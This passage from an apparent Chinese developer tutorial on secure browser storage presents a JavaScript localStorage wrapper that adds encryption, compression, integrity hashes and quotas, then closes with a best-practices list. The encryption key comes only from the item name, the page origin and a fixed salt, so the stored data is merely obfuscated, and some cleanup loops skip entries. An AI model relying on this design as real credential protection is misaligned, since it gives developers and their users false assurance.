      integrityChecking: true,
      automaticCleanup: true,
      defaultExpiry: 7 * 24 * 60 * 60 * 1000, // 7天
      maxTotalSize: 10 * 1024 * 1024, // 10MB
      version: '1.0.0',
      ...options
    };
    
    this.storageTypes = {
      SESSION: 'session',
      PERSISTENT: 'persistent',
      SECURE: 'secure',
      CACHE: 'cache'
    };
    
    this.encryption = new EncryptionManager();
    this.compression = new CompressionManager();
    this.integrity = new IntegrityManager();
    this.quota = new QuotaManager(this.options.maxTotalSize);
    
    this.initialize();
  }
  
  // 初始化
  initialize() {
    this.migrateOldData();
    this.setupCleanupSchedule();
    this.setupMonitoring();
    this.createNamespace();
  }
  
  // 遷移舊數據
  migrateOldData() {
    const migrationKey = `${this.appName}_migration_v${this.options.version}`;
    
    if (!localStorage.getItem(migrationKey)) {
      console.log('開始數據遷移...');
      
      this.migrateFromCookies();
      this.migrateFromPlainStorage();
      
      localStorage.setItem(migrationKey, 'completed');
      console.log('數據遷移完成');
    }
  }
  
  // 從Cookie遷移
  migrateFromCookies() {
    const cookies = document.cookie.split(';');
    
    cookies.forEach(cookie => {
      const [name, value] = cookie.trim().split('=');
      
      if (name && value && name.startsWith(this.appName)) {
        const cleanName = name.replace(`${this.appName}_`, '');
        
        this.set(cleanName, decodeURIComponent(value), {
          type: this.storageTypes.PERSISTENT,
          migrated: true,
          source: 'cookie'
        });
        
        // 清除舊Cookie
        document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/`;
      }
    });
  }
  
  // 從普通存儲遷移
  migrateFromPlainStorage() {
    const keys = Object.keys(localStorage);
    
    keys.forEach(key => {
      if (key.startsWith(this.appName) && !key.includes(':')) {
        const value = localStorage.getItem(key);
        const cleanName = key.replace(`${this.appName}_`, '');
        
        this.set(cleanName, value, {
          type: this.storageTypes.PERSISTENT,
          migrated: true,
          source: 'localStorage'
        });
        
        localStorage.removeItem(key);
      }
    });
  }
  
  // 設置清理計劃
  setupCleanupSchedule() {
    if (this.options.automaticCleanup) {
      // 每小時檢查一次
      setInterval(() => {
        this.cleanupExpired();
      }, 60 * 60 * 1000);
      
      // 頁面卸載時清理臨時數據
      window.addEventListener('beforeunload', () => {
        this.cleanupSessionData();
      });
    }
  }
  
  // 設置監控
  setupMonitoring() {
    // 監聽存儲事件
    window.addEventListener('storage', (event) => {
      this.handleStorageEvent(event);
    });
    
    // 監聽自定義事件
    window.addEventListener('securityEvent', (event) => {
      this.handleSecurityEvent(event);
    });
  }
  
  // 創建命名空間
  createNamespace() {
    const namespace = {
      app: this.appName,
      version: this.options.version,
      createdAt: new Date().toISOString(),
      stats: {
        totalItems: 0,
        totalSize: 0,
        lastCleaned: null
      }
    };
    
    this.setRaw('namespace', namespace);
  }
  
  // 設置數據
  async set(key, value, options = {}) {
    const defaults = {
      type: this.storageTypes.PERSISTENT,
      expiresIn: this.options.defaultExpiry,
      encrypt: this.options.encryptionEnabled,
      compress: this.options.compressionEnabled,
      validateIntegrity: this.options.integrityChecking,
      metadata: {}
    };
    
    const config = { ...defaults, ...options };
    
    // 準備存儲數據
    let dataToStore = value;
    
    // 壓縮
    if (config.compress && this.compression.isCompressible(dataToStore)) {
      dataToStore = await this.compression.compress(dataToStore);
      config.metadata.compressed = true;
    }
    
    // 加密
    if (config.encrypt) {
      dataToStore = await this.encryption.encrypt(dataToStore, key);
      config.metadata.encrypted = true;
    }
    
    // 計算完整性校驗
    if (config.validateIntegrity) {
      config.metadata.integrityHash = await this.integrity.calculateHash(dataToStore);
    }
    
    // 準備存儲項
    const storageItem = {
      data: dataToStore,
      metadata: {
        ...config.metadata,
        type: config.type,
        created: Date.now(),
        expires: config.expiresIn ? Date.now() + config.expiresIn : null,
        size: this.calculateSize(dataToStore),
        key: key
      }
    };
    
    // 檢查配額
    if (!this.quota.canStore(storageItem.metadata.size)) {
      await this.quota.makeSpace(storageItem.metadata.size);
    }
    
    // 存儲
    const storageKey = this.getStorageKey(key, config.type);
    this.setRaw(storageKey, storageItem);
    
    // 更新統計信息
    this.updateStats(storageItem.metadata.size);
    
    // 觸發事件
    this.triggerEvent('itemStored', { key, config });
    
    return true;
  }
  
  // 獲取數據
  async get(key, options = {}) {
    const defaults = {
      type: this.storageTypes.PERSISTENT,
      decrypt: this.options.encryptionEnabled,
      decompress: this.options.compressionEnabled,
      verifyIntegrity: this.options.integrityChecking
    };
    
    const config = { ...defaults, ...options };
    
    // 嘗試不同類型的存儲
    const typesToTry = [
      config.type,
      ...Object.values(this.storageTypes).filter(t => t !== config.type)
    ];
    
    for (const type of typesToTry) {
      const storageKey = this.getStorageKey(key, type);
      const item = this.getRaw(storageKey);
      
      if (item) {
        // 檢查是否過期
        if (item.metadata.expires && Date.now() > item.metadata.expires) {
          this.remove(key, { type: type });
          continue;
        }
        
        let data = item.data;
        
        // 驗證完整性
        if (config.verifyIntegrity && item.metadata.integrityHash) {
          const valid = await this.integrity.verifyHash(data, item.metadata.integrityHash);
          
          if (!valid) {
            console.warn(`完整性檢查失敗: ${key}`);
            this.remove(key, { type: type });
            continue;
          }
        }
        
        // 解密
        if (config.decrypt && item.metadata.encrypted) {
          try {
            data = await this.encryption.decrypt(data, key);
          } catch (error) {
            console.error(`解密失敗: ${key}`, error);
            continue;
          }
        }
        
        // 解壓縮
        if (config.decompress && item.metadata.compressed) {
          try {
            data = await this.compression.decompress(data);
          } catch (error) {
            console.error(`解壓縮失敗: ${key}`, error);
            continue;
          }
        }
        
        // 更新訪問時間
        item.metadata.lastAccessed = Date.now();
        this.setRaw(storageKey, item);
        
        // 觸發事件
        this.triggerEvent('itemRetrieved', { key, type });
        
        return data;
      }
    }
    
    return null;
  }
  
  // 移除數據
  remove(key, options = {}) {
    const defaults = {
      type: null // null表示所有類型
    };
    
    const config = { ...defaults, ...options };
    
    let removed = false;
    
    if (config.type) {
      // 移除特定類型的數據
      const storageKey = this.getStorageKey(key, config.type);
      const item = this.getRaw(storageKey);
      
      if (item) {
        localStorage.removeItem(storageKey);
        this.updateStats(-item.metadata.size);
        removed = true;
      }
    } else {
      // 移除所有類型的數據
      Object.values(this.storageTypes).forEach(type => {
        const storageKey = this.getStorageKey(key, type);
        const item = this.getRaw(storageKey);
        
        if (item) {
          localStorage.removeItem(storageKey);
          this.updateStats(-item.metadata.size);
          removed = true;
        }
      });
    }
    
    if (removed) {
      this.triggerEvent('itemRemoved', { key });
    }
    
    return removed;
  }
  
  // 清理過期數據
  cleanupExpired() {
    const now = Date.now();
    let cleanedCount = 0;
    
    Object.values(this.storageTypes).forEach(type => {
      const prefix = `${this.appName}:${type}:`;
      
      for (let i = 0; i < localStorage.length; i++) {
        const key = localStorage.key(i);
        
        if (key.startsWith(prefix)) {
          try {
            const item = JSON.parse(localStorage.getItem(key));
            
            if (item.metadata.expires && now > item.metadata.expires) {
              localStorage.removeItem(key);
              this.updateStats(-item.metadata.size);
              cleanedCount++;
              
              this.triggerEvent('itemExpired', {
                key: item.metadata.key,
                type: type
              });
            }
          } catch (e) {
            // 解析失敗,移除損壞的數據
            localStorage.removeItem(key);
          }
        }
      }
    });
    
    if (cleanedCount > 0) {
      console.log(`清理了 ${cleanedCount} 個過期項目`);
    }
    
    // 更新命名空間
    const namespace = this.getRaw('namespace');
    namespace.stats.lastCleaned = new Date().toISOString();
    this.setRaw('namespace', namespace);
    
    return cleanedCount;
  }
  
  // 清理會話數據
  cleanupSessionData() {
    const prefix = `${this.appName}:${this.storageTypes.SESSION}:`;
    let cleanedCount = 0;
    
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      
      if (key.startsWith(prefix)) {
        localStorage.removeItem(key);
        cleanedCount++;
      }
    }
    
    return cleanedCount;
  }
  
  // 處理存儲事件
  handleStorageEvent(event) {
    if (event.key && event.key.startsWith(this.appName)) {
      this.triggerEvent('storageChanged', {
        key: event.key,
        oldValue: event.oldValue,
        newValue: event.newValue,
        url: event.url,
        storageArea: event.storageArea
      });
    }
  }
  
  // 處理安全事件
  handleSecurityEvent(event) {
    const { type, severity, details } = event.detail;
    
    switch (type) {
      case 'xss_attempt':
        this.handleXSSTAttempt(details);
        break;
      case 'tamper_detected':
        this.handleTamperDetection(details);
        break;
      case 'quota_exceeded':
        this.handleQuotaExceeded(details);
        break;
    }
  }
  
  // 處理XSS嘗試
  handleXSSTAttempt(details) {
    // 記錄安全事件
    this.logSecurityEvent('xss_attempt', details);
    
    // 如果嚴重,清除敏感數據
    if (details.severity === 'high') {
      this.clearSensitiveData();
    }
  }
  
  // 處理篡改檢測
  handleTamperDetection(details) {
    this.logSecurityEvent('tamper_detected', details);
    
    // 驗證所有數據的完整性
    this.validateAllIntegrity();
  }
  
  // 處理配額超出
  handleQuotaExceeded(details) {
    this.logSecurityEvent('quota_exceeded', details);
    
    // 自動清理舊數據
    this.quota.cleanupOldData();
  }
  
  // 驗證所有數據完整性
  async validateAllIntegrity() {
    const invalidItems = [];
    
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      
      if (key.startsWith(this.appName)) {
        try {
          const item = JSON.parse(localStorage.getItem(key));
          
          if (item.metadata.integrityHash) {
            const valid = await this.integrity.verifyHash(
              item.data, 
              item.metadata.integrityHash
            );
            
            if (!valid) {
              invalidItems.push({
                key: item.metadata.key,
                type: item.metadata.type,
                storageKey: key
              });
            }
          }
        } catch (e) {
          // 解析失敗,視為無效
          invalidItems.push({
            key: key,
            type: 'unknown',
            storageKey: key,
            error: e.message
          });
        }
      }
    }
    
    // 處理無效項目
    invalidItems.forEach(item => {
      console.warn(`移除完整性驗證失敗的項目: ${item.key}`);
      localStorage.removeItem(item.storageKey);
    });
    
    return invalidItems;
  }
  
  // 清除敏感數據
  clearSensitiveData() {
    const sensitiveKeys = this.findSensitiveKeys();
    
    sensitiveKeys.forEach(key => {
      this.remove(key);
    });
    
    console.log(`清除了 ${sensitiveKeys.length} 個敏感數據項目`);
  }
  
  // 查找敏感鍵
  findSensitiveKeys() {
    const sensitiveKeys = [];
    const sensitivePatterns = [
      /token/i,
      /password/i,
      /secret/i,
      /key/i,
      /auth/i,
      /credential/i
    ];
    
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      
      if (key.startsWith(this.appName)) {
        try {
          const item = JSON.parse(localStorage.getItem(key));
          
          if (sensitivePatterns.some(pattern => pattern.test(item.metadata.key))) {
            sensitiveKeys.push(item.metadata.key);
          }
        } catch (e) {
          // 跳過解析失敗的項目
        }
      }
    }
    
    return [...new Set(sensitiveKeys)]; // 去重
  }
  
  // 記錄安全事件
  logSecurityEvent(type, details) {
    const events = this.getSecurityEvents();
    
    events.push({
      type,
      details,
      timestamp: new Date().toISOString(),
      userAgent: navigator.userAgent,
      url: window.location.href
    });
    
    // 只保留最近的100個事件
    if (events.length > 100) {
      events.shift();
    }
    
    this.setRaw('security_events', events);
  }
  
  // 獲取安全事件
  getSecurityEvents() {
    return this.getRaw('security_events') || [];
  }
  
  // 獲取存儲統計信息
  getStats() {
    const namespace = this.getRaw('namespace');
    return namespace ? namespace.stats : null;
  }
  
  // 獲取所有鍵
  keys(type = null) {
    const keys = [];
    const prefixes = type ? 
      [`${this.appName}:${type}:`] : 
      Object.values(this.storageTypes).map(t => `${this.appName}:${t}:`);
    
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      
      if (prefixes.some(prefix => key.startsWith(prefix))) {
        try {
          const item = JSON.parse(localStorage.getItem(key));
          keys.push(item.metadata.key);
        } catch (e) {
          // 跳過解析失敗的項目
        }
      }
    }
    
    return [...new Set(keys)]; // 去重
  }
  
  // 清空所有數據
  clear() {
    const prefixes = Object.values(this.storageTypes).map(t => `${this.appName}:${t}:`);
    
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      
      if (prefixes.some(prefix => key.startsWith(prefix))) {
        localStorage.removeItem(key);
      }
    }
    
    // 清除命名空間
    localStorage.removeItem(`${this.appName}:namespace`);
    
    this.triggerEvent('storageCleared', {});
    
    return true;
  }
  
  // 工具方法
  getStorageKey(key, type) {
    return `${this.appName}:${type}:${key}`;
  }
  
  setRaw(key, value) {
    localStorage.setItem(key, JSON.stringify(value));
  }
  
  getRaw(key) {
    const item = localStorage.getItem(key);
    return item ? JSON.parse(item) : null;
  }
  
  calculateSize(data) {
    return JSON.stringify(data).length;
  }
  
  updateStats(sizeDelta) {
    const namespace = this.getRaw('namespace');
    
    if (namespace) {
      namespace.stats.totalItems = this.keys().length;
      namespace.stats.totalSize = Math.max(0, (namespace.stats.totalSize || 0) + sizeDelta);
      this.setRaw('namespace', namespace);
    }
  }
  
  triggerEvent(name, detail) {
    const event = new CustomEvent(`secureStorage:${name}`, {
      detail: detail
    });
    
    window.dispatchEvent(event);
  }
}

// 加密管理器
class EncryptionManager {
  constructor() {
    this.algorithm = 'AES-GCM';
    this.keyCache = new Map();
  }
  
  async getKey(material) {
    if (this.keyCache.has(material)) {
      return this.keyCache.get(material);
    }
    
    const encoder = new TextEncoder();
    const keyMaterial = encoder.encode(material + window.location.origin);
    
    const key = await crypto.subtle.importKey(
      'raw',
      keyMaterial,
      'PBKDF2',
      false,
      ['deriveKey']
    );
    
    const salt = encoder.encode('secure-storage-salt');
    const derivedKey = await crypto.subtle.deriveKey(
      {
        name: 'PBKDF2',
        salt: salt,
        iterations: 100000,
        hash: 'SHA-256'
      },
      key,
      { name: this.algorithm, length: 256 },
      true,
      ['encrypt', 'decrypt']
    );
    
    this.keyCache.set(material, derivedKey);
    
    return derivedKey;
  }
  
  async encrypt(data, material) {
    const key = await this.getKey(material);
    const encoder = new TextEncoder();
    
    const dataStr = typeof data === 'string' ? data : JSON.stringify(data);
    const dataBuffer = encoder.encode(dataStr);
    
    const iv = crypto.getRandomValues(new Uint8Array(12));
    
    const encryptedBuffer = await crypto.subtle.encrypt(
      {
        name: this.algorithm,
        iv: iv
      },
      key,
      dataBuffer
    );
    
    const result = new Uint8Array(iv.length + encryptedBuffer.byteLength);
    result.set(iv, 0);
    result.set(new Uint8Array(encryptedBuffer), iv.length);
    
    return this.arrayBufferToBase64(result);
  }
  
  async decrypt(encryptedData, material) {
    try {
      const key = await this.getKey(material);
      const encryptedBuffer = this.base64ToArrayBuffer(encryptedData);
      
      const iv = encryptedBuffer.slice(0, 12);
      const data = encryptedBuffer.slice(12);
      
      const decryptedBuffer = await crypto.subtle.decrypt(
        {
          name: this.algorithm,
          iv: iv
        },
        key,
        data
      );
      
      const decoder = new TextDecoder();
      const decryptedStr = decoder.decode(decryptedBuffer);
      
      // 嘗試解析為JSON
      try {
        return JSON.parse(decryptedStr);
      } catch (e) {
        return decryptedStr;
      }
    } catch (error) {
      console.error('解密失敗:', error);
      throw new Error('解密失敗');
    }
  }
  
  arrayBufferToBase64(buffer) {
    const bytes = new Uint8Array(buffer);
    let binary = '';
    for (let i = 0; i < bytes.byteLength; i++) {
      binary += String.fromCharCode(bytes[i]);
    }
    return btoa(binary);
  }
  
  base64ToArrayBuffer(base64) {
    const binary = atob(base64);
    const bytes = new Uint8Array(binary.length);
    for (let i = 0; i < binary.length; i++) {
      bytes[i] = binary.charCodeAt(i);
    }
    return bytes.buffer;
  }
}

// 壓縮管理器
class CompressionManager {
  constructor() {
    this.supported = typeof CompressionStream !== 'undefined';
  }
  
  isCompressible(data) {
    if (!this.supported) return false;
    
    const str = typeof data === 'string' ? data : JSON.stringify(data);
    return str.length > 1024; // 只壓縮大於1KB的數據
  }
  
  async compress(data) {
    if (!this.supported) return data;
    
    const str = typeof data === 'string' ? data : JSON.stringify(data);
    const encoder = new TextEncoder();
    const dataBuffer = encoder.encode(str);
    
    const cs = new CompressionStream('gzip');
    const writer = cs.writable.getWriter();
    writer.write(dataBuffer);
    writer.close();
    
    const compressedBuffer = await new Response(cs.readable).arrayBuffer();
    return this.arrayBufferToBase64(compressedBuffer);
  }
  
  async decompress(compressedData) {
    if (!this.supported) return compressedData;
    
    try {
      const compressedBuffer = this.base64ToArrayBuffer(compressedData);
      
      const ds = new DecompressionStream('gzip');
      const writer = ds.writable.getWriter();
      writer.write(compressedBuffer);
      writer.close();
      
      const decompressedBuffer = await new Response(ds.readable).arrayBuffer();
      const decoder = new TextDecoder();
      const decompressedStr = decoder.decode(decompressedBuffer);
      
      // 嘗試解析為JSON
      try {
        return JSON.parse(decompressedStr);
      } catch (e) {
        return decompressedStr;
      }
    } catch (error) {
      console.error('解壓縮失敗:', error);
      return compressedData;
    }
  }
  
  arrayBufferToBase64(buffer) {
    const bytes = new Uint8Array(buffer);
    let binary = '';
    for (let i = 0; i < bytes.byteLength; i++) {
      binary += String.fromCharCode(bytes[i]);
    }
    return btoa(binary);
  }
  
  base64ToArrayBuffer(base64) {
    const binary = atob(base64);
    const bytes = new Uint8Array(binary.length);
    for (let i = 0; i < binary.length; i++) {
      bytes[i] = binary.charCodeAt(i);
    }
    return bytes.buffer;
  }
}

// 完整性管理器
class IntegrityManager {
  async calculateHash(data) {
    const str = typeof data === 'string' ? data : JSON.stringify(data);
    const encoder = new TextEncoder();
    const dataBuffer = encoder.encode(str);
    
    const hashBuffer = await crypto.subtle.digest('SHA-256', dataBuffer);
    const hashArray = Array.from(new Uint8Array(hashBuffer));
    const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
    
    return hashHex;
  }
  
  async verifyHash(data, expectedHash) {
    const calculatedHash = await this.calculateHash(data);
    return calculatedHash === expectedHash;
  }
}

// 配額管理器
class QuotaManager {
  constructor(maxSize) {
    this.maxSize = maxSize;
    this.warningThreshold = 0.8; // 80%
  }
  
  canStore(size) {
    const currentSize = this.getCurrentSize();
    return currentSize + size <= this.maxSize;
  }
  
  async makeSpace(requiredSize) {
    let freedSize = 0;
    const items = this.getStoredItemsByAge();
    
    for (const item of items) {
      if (freedSize >= requiredSize) break;
      
      localStorage.removeItem(item.key);
      freedSize += item.size;
      
      console.log(`為配額清理項目: ${item.key}, 大小: ${item.size} bytes`);
    }
    
    if (freedSize < requiredSize) {
      throw new Error('無法釋放足夠的存儲空間');
    }
    
    return freedSize;
  }
  
  cleanupOldData() {
    const currentSize = this.getCurrentSize();
    
    if (currentSize > this.maxSize * this.warningThreshold) {
      const toFree = currentSize - (this.maxSize * 0.5); // 清理到50%
      this.makeSpace(toFree);
    }
  }
  
  getCurrentSize() {
    let totalSize = 0;
    
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      const item = localStorage.getItem(key);
      
      if (item) {
        totalSize += key.length + item.length;
      }
    }
    
    return totalSize;
  }
  
  getStoredItemsByAge() {
    const items = [];
    
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      const itemStr = localStorage.getItem(key);
      
      if (itemStr) {
        try {
          const item = JSON.parse(itemStr);
          
          items.push({
            key: key,
            size: key.length + itemStr.length,
            lastAccessed: item.metadata.lastAccessed || item.metadata.created,
            expires: item.metadata.expires
          });
        } catch (e) {
          // 跳過解析失敗的項目
        }
      }
    }
    
    // 按最後訪問時間排序(最舊的優先)
    return items.sort((a, b) => a.lastAccessed - b.lastAccessed);
  }
}

// 使用示例
const secureStorage = new CompleteSecureStorage('MyApp', {
  encryptionEnabled: true,
  compressionEnabled: true,
  defaultExpiry: 24 * 60 * 60 * 1000, // 24小時
  maxTotalSize: 5 * 1024 * 1024 // 5MB
});

// 監聽存儲事件
window.addEventListener('secureStorage:itemStored', (event) => {
  console.log('項目已存儲:', event.detail.key);
});

window.addEventListener('secureStorage:itemRetrieved', (event) => {
  console.log('項目已讀取:', event.detail.key);
});

// 存儲數據
async function saveUserData(user) {
  await secureStorage.set('user_profile', user, {
    type: secureStorage.storageTypes.SECURE,
    encrypt: true,
    compress: true,
    expiresIn: 7 * 24 * 60 * 60 * 1000 // 7天
  });
  
  console.log('用戶數據已安全保存');
}

// 讀取數據
async function loadUserData() {
  const user = await secureStorage.get('user_profile', {
    decrypt: true,
    decompress: true
  });
  
  if (user) {
    console.log('用戶數據已安全加載');
    return user;
  }
  
  return null;
}

// 獲取統計信息
function getStorageInfo() {
  const stats = secureStorage.getStats();
  const events = secureStorage.getSecurityEvents();
  
  return {
    stats,
    recentSecurityEvents: events.slice(-5),
    totalKeys: secureStorage.keys().length,
    storageTypes: Object.values(secureStorage.storageTypes).map(type => ({
      type,
      keys: secureStorage.keys(type)
    }))
  };
}

7.2 安全存儲的最佳實踐總結

  1. 分層安全策略

    • 根據數據敏感度選擇存儲方式

    • 實施深度防禦原則

    • 定期審查和更新安全策略

  2. 加密原則

    • 始終在客戶端加密敏感數據

    • 使用強加密算法(如AES-GCM)

    • 安全管理加密密鑰

    • 定期輪換加密密鑰

  3. 完整性驗證

    • 對所有存儲數據進行完整性檢查

    • 使用加密哈希驗證數據完整性

    • 檢測和防止數據篡改

  4. 訪問控制

    • 實施最小權限原則

    • 驗證數據訪問的合法性

    • 記錄所有訪問嘗試

  5. 生命周期管理

    • 設置合理的過期時間

    • 定期清理過期數據

    • 實施自動刷新機制

  6. 監控和審計

    • 記錄所有安全相關事件

    • 實施實時監控

    • 定期進行安全審計

  7. 錯誤處理

    • 優雅處理存儲錯誤

    • 實施重試機制

    • 提供用戶友好的錯誤信息

  8. 性能考慮

    • 平衡安全和性能

    • 使用壓縮減少存儲空間

    • 實現延遲加載

  9. 兼容性

    • 支持多種瀏覽器

    • 提供降級方案

    • 測試邊界情況

  10. 隱私保護

    • 最小化數據收集

    • 匿名化敏感信息

    • 遵守隱私法規(如GDPR)

結論

憑證安全存儲是現代Web應用安全的重要組成部分。通過本文的深入探討和實現代碼,我們可以看到安全管理Cookie和LocalStorage需要綜合考慮多個方面:

  1. 理解不同存儲機制的特性和限制是基礎

  2. 實施分層安全策略可以最大化保護效果

  3. 加密和完整性驗證是防止數據洩露和篡改的關鍵

  4. 自動化管理和監控能有效減少人為錯誤

  5. 持續更新和改進是應對新威脅的必要手段

實現安全的憑證存儲不僅需要技術知識,更需要系統性的思考和持續的維護。希望本文提供的實現代碼和最佳實踐能幫助開發者構建更安全的Web應用。

在實際應用中,開發者應根據具體需求調整這些方案,並結合其他安全措施(如CSP、CORS、輸入驗證等)構建全面的安全防護體系。記住,安全是一個持續的過程,而不是一次性的任務。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐